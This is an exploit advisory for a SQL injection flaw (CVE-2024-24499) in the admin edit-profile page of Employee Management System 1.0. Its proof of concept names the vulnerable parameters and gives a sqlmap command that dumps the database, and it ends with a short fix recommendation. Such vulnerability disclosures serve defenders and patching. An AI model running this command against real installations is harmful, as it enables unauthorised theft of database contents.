# Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or"injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system,andin some cases, issue commands to the operating system.### Affected Components:>/employee_akpoly/Admin/edit_profile.php
> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.

### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### SQLMap
Save the following request to `edit_profile.txt`:
```
POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1

```
Use `sqlmap` with `-r` option to exploit the vulnerability:
```
sqlmap -r edit_profile.txt --level 5--risk 3--batch --dbms MYSQL --dump
```
## Recommendations
When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
